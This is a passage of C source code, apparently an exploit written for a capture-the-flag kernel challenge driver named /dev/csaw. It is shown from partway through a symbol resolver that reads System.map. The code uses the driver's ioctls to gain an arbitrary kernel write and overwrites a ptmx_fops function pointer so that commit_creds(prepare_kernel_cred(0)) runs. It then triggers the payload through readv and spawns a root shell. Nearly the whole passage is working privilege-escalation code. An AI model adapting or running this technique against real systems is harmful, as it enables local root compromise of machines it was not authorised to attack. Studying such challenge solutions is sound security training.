fprintf(stdout, "[+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : "");
fclose(f);
return addr;
}
}
fclose(f);
if (rep)
return 0;
fallback:
uname(&ver);
if (strncmp(ver.release, "2.6", 3))
oldstyle = 1;
sprintf(sname, "/boot/System.map-%s", ver.release);
f = fopen(sname, "r");
if (f == NULL)
return 0;
rep = 1;
goto repeat;
}
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
unsigned long commit_creds;
unsigned long prepare_kernel_cred;
unsigned long *cleanup;
int get_root ( void *iocb, const struct iovec *iov, unsigned long nr_segs, loff_t pos )
{
_commit_creds commit = (_commit_creds)commit_creds;
_prepare_kernel_cred prepare = (_prepare_kernel_cred)prepare_kernel_cred;
*cleanup = 0;
commit(prepare(0));
return 0;
}
int main ( int argc, char **argv )
{
int fd, pfd, ret;
unsigned long handle, buf, seed, target, new_handle, ptmx_fops;
unsigned long payload[4];
struct alloc_args alloc_args;
struct write_args write_args;
struct consumer_args consumer_args;
struct iovec iov;
fd = open("/dev/csaw", O_RDONLY);
if ( fd < 0 )
{
perror("open");
exit(EXIT_FAILURE);
}
pfd = open("/dev/ptmx", O_RDWR);
if ( pfd < 0 )
{
perror("open");
exit(EXIT_FAILURE);
}
commit_creds = get_kernel_sym("commit_creds");
if ( ! commit_creds )
{
printf("[-] commit_creds symbol not found, aborting\n");
exit(1);
}
prepare_kernel_cred = get_kernel_sym("prepare_kernel_cred");
if ( ! prepare_kernel_cred )
{
printf("[-] prepare_kernel_cred symbol not found, aborting\n");
exit(1);
}
ptmx_fops = get_kernel_sym("ptmx_fops");
if ( ! ptmx_fops )
{
printf("[-] ptmx_fops symbol not found, aborting\n");
exit(1);
}
memset(&alloc_args, 0, sizeof(alloc_args));
alloc_args.size = BUF_SIZE;
ret = ioctl(fd, CSAW_ALLOC_HANDLE, &alloc_args);
if ( ret < 0 )
{
perror("ioctl");
exit(EXIT_FAILURE);
}
handle = alloc_args.handle;
printf("[+] Acquired handle: %lx\n", handle);
memset(&consumer_args, 0, sizeof(consumer_args));
consumer_args.handle = handle;
consumer_args.offset = 255;
ret = ioctl(fd, CSAW_GET_CONSUMER, &consumer_args);
if ( ret < 0 )
{
perror("ioctl");
exit(EXIT_FAILURE);
}
buf = consumer_args.pid;
printf("[+] buf = %lx\n", buf);
seed = buf ^ handle;
printf("[+] seed = %lx\n", seed);
target = ptmx_fops + sizeof(void *) * 4;
printf("[+] target = %lx\n", target);
new_handle = target ^ seed;
printf("[+] new handle = %lx\n", new_handle);
memset(&consumer_args, 0, sizeof(consumer_args));
consumer_args.handle = handle;
consumer_args.offset = 255;
consumer_args.pid = target;
ret = ioctl(fd, CSAW_SET_CONSUMER, &consumer_args);
if ( ret < 0 )
{
perror("ioctl");
exit(EXIT_FAILURE);
}
buf = (unsigned long)&get_root;
memset(&write_args, 0, sizeof(write_args));
write_args.handle = new_handle;
write_args.size = sizeof(buf);
write_args.in = &buf;
ret = ioctl(fd, CSAW_WRITE_HANDLE, &write_args);
if ( ret < 0 )
{
perror("ioctl");
exit(EXIT_FAILURE);
}
printf("[+] Triggering payload\n");
cleanup = (unsigned long *)target;
iov.iov_base = &iov;
iov.iov_len = sizeof(payload);
ret = readv(pfd, &iov, 1);
if ( getuid() )
{
printf("[-] Failed to get root\n");
exit(1);
}
else
printf("[+] Got root!\n");
printf("[+] Enjoy your shell...\n");
execl("/bin/sh", "sh", NULL);
return 0;
}